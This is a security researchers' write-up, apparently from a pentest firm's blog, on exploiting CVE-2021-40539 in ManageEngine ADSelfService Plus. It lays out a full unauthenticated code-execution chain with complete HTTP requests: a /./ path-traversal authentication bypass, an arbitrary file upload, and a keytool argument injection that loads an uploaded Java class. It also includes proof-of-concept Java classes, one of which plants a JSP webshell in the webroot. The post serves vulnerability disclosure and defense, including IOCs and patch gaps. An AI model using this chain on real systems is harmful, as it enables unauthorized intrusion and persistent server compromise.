How to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus

Written by Antoine Cervoise , Wilfried Bécard - 04/11/2021 - in Exploit , Pentest - Download
During a penetration test we encountered the ManageEngine ADSelfService Plus (ADSS) solution. ADSS offers multiple functionalities such as managing password policies for administrators or self password reset/account unlock for Active Directory users. We decided to dig into this solution. However, our research barely started that a wild exploitation on this solution was announced.
In this article we will explore the details of several vulnerabilities that allow an unauthenticated attacker to execute arbitrary code on the server.

First steps

ADSelfService Plus from ManageEngine was reported as exploited in the wild on the 8th of September1The solution's editor quickly deployed a security fix and released an article that has then been updated several times2. At the beginning ManageEngine team was only mentioning an exploit related to the REST API. To figure out what was really happening, we deployed a vulnerable version and a patched version of the solution on a lab and we started digging into this issue.

ADSelfService Plus is a massive Java application. However, a quick hash comparison between both versions of the numerous included jars allows identifying the parts of the source code that changed with the update. We can therefore decompile the interesting archives and diff the resulting files. We used Meld3 for this last task as it conveniently compares files, folders and subfolders and highlights the differences.

 

Meld comparison

 

Authentication Bypass

We know from the editor's original communication that we can gain unauthorized access through the REST API. The previous diff showed that the com.manageengine.ads.fw.api.RestAPIUtil class, from the ManageEngineADSFrameworkJava jar, had changed with the patch. It seems like a good starting point for a patch analysis.

It appears that, after the patch, a call to request.getRequestURI(); was replaced by SecurityUtil.getNormalizedURI(request.getRequestURI()); (as seen in the Meld comparison above).

The code of the getNormalizedURI function is the following:

Update into RestAPIUtil class.

This is clearly a patch that fixes a path traversal vulnerability, which can have a serious impact. A similar example was a patch applied on Apache httpd at the same time5. In our current case the patch is addressed for an authentication bypass.

A nuclei template6, published about a week after the first advisory, details how to test if your version is vulnerable. The test payload is:

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

methodToCall=previewMobLogo

Sending the /./ payload to both our patched and vulnerable instances points differences in the servers' responses.

Request on a vulnerable server.
Request on a vulnerable server.
Request on an up to date server.
Request on an up to date server.

At this step, the response body indicates that the path traversal request actually bypasses the authentication process. Let's see what we can do while authenticated on the REST API.

Arbitrary file upload through the API

The LogonCustomization class, located in the AdventNetADSMClient jar, implements the previewMobLogo method as used in the Nuclei template's PoC.

public ActionForward previewMobLogo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {

Other methods of this class including one named unspecified looks promising. Indeed, taking a quick look at it reveals interesting calls to file uploads related functions. Interestingly enough, ManageEngine's publication2 includes IOCs that states: "check for Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig". Also, the unspecified method's code looks for parameters related to smartcards.

  public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    [...]
    try {
        [...]
       } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {  // we are looking for smarcard related actions
          String operation = request.getParameter("operation");
          SmartCardAction smartCardAction = new SmartCardAction();
          if (operation.equalsIgnoreCase("Add")) {       // and how to add one
            request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
            request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
            smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);

An analysis of the previous method makes it possible to determine the parameters necessary for a file upload on the server. This request illustrates the upload of an arbitrary file in the ManageEngine\ADSelfService Plus\bin folder.

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212

-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"

unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"

yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"

smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"

Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream

arbitrary content
-----------------------------39411536912265220004317003537--

A successful upload results in the server replying with a 404 response code.

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 135536
[...]

We can nevertheless confirm the presence of the file in the directory.

Arbitrary file upload

 

By performing this request, we confirm some of ManageEngine's IOCs2:  the 404 response and the presence of the errors in the logs. However, the logs from the NullPointerException are not the same as the one reported by ManageEngine.

[00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.ClassCastException: org.apache.catalina.connector.RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper|
[00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.common.webclient.util.ClientUtil.getFileFromRequest(ClientUtil.java:768)|
[...]
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.NullPointerException|
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1039)|
[00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: 	at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1000)|

At this point, it is possible to upload any kind of file with arbitrary content into the ManageEngine\ADSelfService Plus\bin directory.

Arguments injection

While updates of the ManageEngine documentation give more details about this issue7, the exploitation of the /RestAPI/Connection endpoint is still missing at this stage.

The com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction class seems to be related to this API endpoint. A quick look into it showed up the following method:

  public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
    String action = request.getParameter("action");
    if (action != null && action.equals("generateCSR"))
      SSLUtil.createCSR(request); 
    return actionMap.findForward("SSLTool");
  }

The openSSLTool method takes an action HTTP parameter and will call SSLUtil.createCSR if it equals generateCSR. By digging into the source code of this method, we can observe two unsanitized parameters, keysize and validity, that are used to build the parameter of a runCommand call:

  public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
    [...]
    StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");     // the command is prepared
    keyCmd.append(password);
    keyCmd.append(" -storePass ").append(password);
    String keyLength = sslSettings.optString("KEY_LENGTH", null);
    if (keyLength != null && !keyLength.equals(""))
       keyCmd.append(" -keysize ").append(keyLength);     // first parameter
    String validity = sslSettings.optString("VALIDITY", null);
    if (validity != null && !validity.equals(""))
       keyCmd.append(" -validity ").append(validity);    // second parameter
    [...]
    JSONObject jStatus = new JSONObject();              
    String status = runCommand(keyCmd.toString());      // command is executed here
    [...]

By following that call we end into the runRuntimeExec method (in theAdventNetADSMServer jar):

  public void runRuntimeExec() {
    if (this.command == null) {
      if (this.proc == null)
        return; 
      getStdErr();
    } else {
      Process p = null;
      String line = null;
      try {
        p = Runtime.getRuntime().exec(this.command);
      } catch (Exception e) {
        systemerr("The command could not be executed");
        this.result = false;
      } 
      boolean isPingCmd = (this.command.indexOf("RemCom") != -1);
      this.result = runCommandStatus(p, isPingCmd);
    } 
  }

Overall, it appears we can inject into a command line that launches the keytool exe. However, the use of Runtime.getRuntime().exec() prevents escaping from the expected target binary. Fortunately for us, we are still able to inject arbitrary parameters. One feature of keytool is to be able to load a Java class8. If we can build our own Java class, upload it with an API call to LogonCustomization, we could then use it with keytool in order to get it executed.

A bit of dynamic analysis with Procmon and a query to the /RestAPI/Connection endpoint can confirm the execution of the keytool binary.

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 43

methodToCall=openSSLTool&action=generateCSR
Monitoring with procmon.

 

The executed command is the following:

..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..\jre\bin\SelfService.keystore

Chaining everything together to get code execution

We saw we can bypass the authentication process by adding the /./ snippet to the REST API route and perform an arbitrary file upload. We also saw that an arbitrary Java class can be loaded through an injection in the keytool binary parameters. Combining both issues, we should be able to get an arbitrary code execution.

The following Java code, which executes calc.exe, will be used as a proof of concept.

import java.io.*;
public class Si{
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec("calc");
        }catch (IOException e){}
    }
}

An important note for a successful exploitation is that we need to compile our code with the same Java major version8 as the solution.

C:\ManageEngine\ADSelfService Plus\jre\bin> java -version
java version "1.8.0_162"
Java(TM) SE Runtime Environment (build 1.8.0_162-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.162-b12, mixed mode)

C:\> javac Si.java

Once properly compiled, our PoC class can be uploaded to the server using the LogonCustomization endpoint, as previously:

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.105:9251
Content-Length: 989
Content-Type: multipart/form-data; boundary=fcc62d4b058687f46994b5245a8c8e9f
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="methodToCall"

unspecified
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="Save"

yes
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="form"

smartcard
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="operation"

Add
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"

7


StackMapTableLineNumberTabl<clinit>
SourceFileSi.java

                        calc
                            ava/io/IOExceptionSijava/lang/Objectjava/lang/Runtime
getRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;!
*


IK*LK


N
--fcc62d4b058687f46994b5245a8c8e9f--

All that's left is to force the loading of our newly uploaded class through the keytool.exe argument injection.

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"
Yeah!

 

For a little more confort, it is also possible to exploit the file upload to write a JSP webshell on the filesystem. It can then be moved into the webroot with the Java code execution.

import java.io.*;
public class Si{
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(new String[] {"cmd", "/c", "copy", "helloworld.jsp", "..\\webapps\\adssp\\help\\admin-guide\\helloworld.jsp"});
        }catch (IOException e){}
    }
}

After triggering the command execution with keytool, our uploaded webshell is available at http(s)://TARGET/help/admin-guide/helloworld.jsp.

An exploitation code has been released on our GitHub.

Conclusion

None of the public analysis of this vulnerability mentions a Java class upload. The CISA report also mentions that "Subsequent requests are then made to different API endpoints to further exploit the victim's system." which is not the case here. Chances are in-the-wild attackers made use of another exploitation path. Anyway, the patch applied by ManageEngine only fixes the path traversal issue. While actually preventing our exploitation, this leaves opened the file upload and parameter injection issues for future use.